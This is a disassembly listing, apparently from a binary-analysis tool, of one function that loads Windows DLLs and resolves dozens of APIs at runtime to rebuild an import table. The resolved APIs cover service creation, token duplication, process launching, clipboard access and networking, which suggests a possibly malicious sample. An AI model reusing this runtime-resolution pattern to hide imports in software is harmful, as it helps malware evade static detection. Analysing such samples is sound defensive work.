Function at 0x1000c2f1
Capabilities:
Link many functions at runtime
Rebuild import table

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 4], 0
je 0x1000c2fe
xor eax, eax
pop esi
ret
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push 0x1002516c
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.DeleteFileA
push eax
mov dword [esi + 8], eax
call edi
push str.CopyFileA
mov dword [esi + 0x28], eax
push dword [esi + 8]
call edi
push str.GlobalLock
mov dword [esi + 0x2c], eax
push dword [esi + 8]
call edi
push str.GlobalAlloc
mov dword [esi + 0x30], eax
push dword [esi + 8]
call edi
push str.GlobalUnlock
mov dword [esi + 0x34], eax
push dword [esi + 8]
call edi
push str.GetCurrentProcessId
mov dword [esi + 0x38], eax
push dword [esi + 8]
call edi
push str.GetCurrentThread
mov dword [esi + 0x3c], eax
push dword [esi + 8]
call edi
push str.WinExec
mov dword [esi + 0x40], eax
push dword [esi + 8]
call edi
push str.DuplicateHandle
mov dword [esi + 0x44], eax
push dword [esi + 8]
call edi
push str.TerminateProcess
mov dword [esi + 0x48], eax
push dword [esi + 8]
call edi
push str.OpenProcess
mov dword [esi + 0x4c], eax
push dword [esi + 8]
call edi
push 0x1002521c
mov dword [esi + 0x50], eax
push dword [esi + 8]
call edi
push str.SetPriorityClass
mov dword [esi + 0x54], eax
push dword [esi + 8]
call edi
push str.SetThreadPriority
mov dword [esi + 0x58], eax
push dword [esi + 8]
call edi
push str.QueryFullProcessImageNameA
mov dword [esi + 0x5c], eax
push dword [esi + 8]
call edi
push str.SetUnhandledExceptionFilter
mov dword [esi + 0x60], eax
push dword [esi + 8]
call edi
push str.CreateDirectoryA
mov dword [esi + 0x64], eax
push dword [esi + 8]
call edi
push str.SetFileAttributesA
mov dword [esi + 0x68], eax
push dword [esi + 8]
call edi
push str.DefineDosDeviceA
mov dword [esi + 0x70], eax
push dword [esi + 8]
call edi
push str.GetVersion
mov dword [esi + 0x74], eax
push dword [esi + 8]
call edi
push str.VirtualAlloc
mov dword [esi + 0x78], eax
push dword [esi + 8]
call edi
push str.CreateProcessA
mov dword [esi + 0x7c], eax
push dword [esi + 8]
call edi
push str.GetModuleFileNameA
mov dword [esi + 0x6c], eax
push dword [esi + 8]
call edi
push str.CreateMutexA
mov dword [esi + 0x80], eax
push dword [esi + 8]
call edi
push str.ReleaseMutex
mov dword [esi + 0x84], eax
push dword [esi + 8]
call edi
push 0x1002532c
mov dword [esi + 0x88], eax
push dword [esi + 8]
call edi
push str.CloseHandle
mov dword [esi + 0x8c], eax
push dword [esi + 8]
call edi
push str.Sleep
mov dword [esi + 0x90], eax
push dword [esi + 8]
call edi
push str.lstrcatA
mov dword [esi + 0x94], eax
push dword [esi + 8]
call edi
push str.GetTickCount
mov dword [esi + 0x98], eax
push dword [esi + 8]
call edi
push str.WaitForSingleObject
mov dword [esi + 0x9c], eax
push dword [esi + 8]
call edi
push str.GetFileAttributesA
mov dword [esi + 0xa0], eax
push dword [esi + 8]
call edi
push str.CreateEventA
mov dword [esi + 0xa4], eax
push dword [esi + 8]
call edi
push str.ResetEvent
mov dword [esi + 0xa8], eax
push dword [esi + 8]
call edi
push str.CancelIo
mov dword [esi + 0xac], eax
push dword [esi + 8]
call edi
push str.SetEvent
mov dword [esi + 0xb0], eax
push dword [esi + 8]
call edi
push str.TerminateThread
mov dword [esi + 0xb4], eax
push dword [esi + 8]
call edi
push str.GetVersionExA
mov dword [esi + 0xb8], eax
push dword [esi + 8]
call edi
push str.GetExitCodeProcess
mov dword [esi + 0xbc], eax
push dword [esi + 8]
call edi
push str.ExpandEnvironmentStringsA
mov dword [esi + 0xc0], eax
push dword [esi + 8]
call edi
push str.GetSystemInfo
mov dword [esi + 0xc4], eax
push dword [esi + 8]
call edi
push str.GetSystemDirectoryA
mov dword [esi + 0xc8], eax
push dword [esi + 8]
call edi
push str.MoveFileA
mov dword [esi + 0xcc], eax
push dword [esi + 8]
call edi
push str.MoveFileExA
mov dword [esi + 0xd0], eax
push dword [esi + 8]
call edi
push str.WTSGetActiveConsoleSessionId
mov dword [esi + 0xd4], eax
push dword [esi + 8]
call edi
push str.GetCurrentProcess
mov dword [esi + 0xd8], eax
push dword [esi + 8]
call edi
push str.User32.dll
mov dword [esi + 0xdc], eax
call ebx
push str.SetClipboardData
push eax
mov dword [esi + 0xc], eax
call edi
push str.EmptyClipboard
mov dword [esi + 0xe0], eax
push dword [esi + 0xc]
call edi
push str.CloseClipboard
mov dword [esi + 0xe4], eax
push dword [esi + 0xc]
call edi
push str.GetClipboardData
mov dword [esi + 0xe8], eax
push dword [esi + 0xc]
call edi
push str.OpenClipboard
mov dword [esi + 0xec], eax
push dword [esi + 0xc]
call edi
push str.wsprintfA
mov dword [esi + 0xf0], eax
push dword [esi + 0xc]
call edi
push str.ExitWindowsEx
mov dword [esi + 0xf4], eax
push dword [esi + 0xc]
call edi
push str.MessageBoxA
mov dword [esi + 0xf8], eax
push dword [esi + 0xc]
call edi
push str.IsWindowVisible
mov dword [esi + 0xfc], eax
push dword [esi + 0xc]
call edi
push str.SendMessageA
mov dword [esi + 0x100], eax
push dword [esi + 0xc]
call edi
push str.EnumWindows
mov dword [esi + 0x104], eax
push dword [esi + 0xc]
call edi
push str.PostThreadMessageA
mov dword [esi + 0x108], eax
push dword [esi + 0xc]
call edi
mov dword [esi + 0x10c], eax
push str.GetInputState
push dword [esi + 0xc]
call edi
push str.GetMessageA
mov dword [esi + 0x110], eax
push dword [esi + 0xc]
call edi
push str.MSVCRT.dll
mov dword [esi + 0x114], eax
call ebx
push str.strcmp
push eax
mov dword [esi + 0x18], eax
call edi
push str.strlen
mov dword [esi + 0x160], eax
push dword [esi + 0x18]
call edi
push str.memcpy
mov dword [esi + 0x164], eax
push dword [esi + 0x18]
call edi
push str.memset
mov dword [esi + 0x168], eax
push dword [esi + 0x18]
call edi
push str.strstr
mov dword [esi + 0x16c], eax
push dword [esi + 0x18]
call edi
push str.ws2_32.dll
mov dword [esi + 0x170], eax
call ebx
push str.WSAStartup
push eax
mov dword [esi + 0x14], eax
call edi
push str.WSACleanup
mov dword [esi + 0x174], eax
push dword [esi + 0x14]
call edi
push str.socket
mov dword [esi + 0x178], eax
push dword [esi + 0x14]
call edi
push str.gethostbyname
mov dword [esi + 0x17c], eax
push dword [esi + 0x14]
call edi
push str.htons
mov dword [esi + 0x180], eax
push dword [esi + 0x14]
call edi
push str.connect
mov dword [esi + 0x184], eax
push dword [esi + 0x14]
call edi
push str.send
mov dword [esi + 0x188], eax
push dword [esi + 0x14]
call edi
push str.recv
mov dword [esi + 0x18c], eax
push dword [esi + 0x14]
call edi
push str.closesocket
mov dword [esi + 0x190], eax
push dword [esi + 0x14]
call edi
push str.setsockopt
mov dword [esi + 0x194], eax
push dword [esi + 0x14]
call edi
push str.WSAIoctl
mov dword [esi + 0x198], eax
push dword [esi + 0x14]
call edi
push str.select
mov dword [esi + 0x19c], eax
push dword [esi + 0x14]
call edi
mov dword [esi + 0x1a0], eax
push str.getsockname
push dword [esi + 0x14]
call edi
push str.gethostname
mov dword [esi + 0x1a4], eax
push dword [esi + 0x14]
call edi
push 0x10025644
mov dword [esi + 0x1a8], eax
call ebx
push str.StartServiceCtrlDispatcherA
push eax
mov dword [esi + 0x10], eax
call edi
push str.SetServiceStatus
mov dword [esi + 0x118], eax
push dword [esi + 0x10]
call edi
push str.RegisterServiceCtrlHandlerA
mov dword [esi + 0x11c], eax
push dword [esi + 0x10]
call edi
push str.OpenSCManagerA
mov dword [esi + 0x120], eax
push dword [esi + 0x10]
call edi
push str.OpenServiceA
mov dword [esi + 0x124], eax
push dword [esi + 0x10]
call edi
push str.StartServiceA
mov dword [esi + 0x128], eax
push dword [esi + 0x10]
call edi
push str.CloseServiceHandle
mov dword [esi + 0x12c], eax
push dword [esi + 0x10]
call edi
push str.QueryServiceStatus
mov dword [esi + 0x130], eax
push dword [esi + 0x10]
call edi
push str.ControlService
mov dword [esi + 0x134], eax
push dword [esi + 0x10]
call edi
push str.CreateServiceA
mov dword [esi + 0x138], eax
push dword [esi + 0x10]
call edi
push str.ChangeServiceConfig2A
mov dword [esi + 0x13c], eax
push dword [esi + 0x10]
call edi
push str.DeleteService
mov dword [esi + 0x140], eax
push dword [esi + 0x10]
call edi
push 0x10025740
mov dword [esi + 0x144], eax
push dword [esi + 0x10]
call edi
push str.DuplicateTokenEx
mov dword [esi + 0x148], eax
push dword [esi + 0x10]
call edi
push str.SetTokenInformation
mov dword [esi + 0x14c], eax
push dword [esi + 0x10]
call edi
push str.CreateProcessAsUserA
mov dword [esi + 0x150], eax
push dword [esi + 0x10]
call edi
push 0x10025794
mov dword [esi + 0x154], eax
push dword [esi + 0x10]
call edi
push 0x100257ac
mov dword [esi + 0x158], eax
push dword [esi + 0x10]
call edi
push str.Shell32.dll
mov dword [esi + 0x15c], eax
call ebx
push str.SHGetSpecialFolderPathA
push eax
mov dword [esi + 0x20], eax
call edi
push str.ShellExecuteA
mov dword [esi + 0x1ac], eax
push dword [esi + 0x20]
call edi
push str.SHLWAPI.dll
mov dword [esi + 0x1b0], eax
call ebx
push str.PathRemoveBackslashA
push eax
mov dword [esi + 0x24], eax
call edi
push str.PathFileExistsA
mov dword [esi + 0x1b4], eax
push dword [esi + 0x24]
call edi
push str.PathRemoveFileSpecA
mov dword [esi + 0x1b8], eax
push dword [esi + 0x24]
call edi
push str.PathAddBackslashA
mov dword [esi + 0x1bc], eax
push dword [esi + 0x24]
call edi
push str.PathStripPathA
mov dword [esi + 0x1c0], eax
push dword [esi + 0x24]
call edi
push 1
mov dword [esi + 0x1c4], eax
pop eax
pop edi
mov dword [esi + 4], eax
pop ebx
pop esi
ret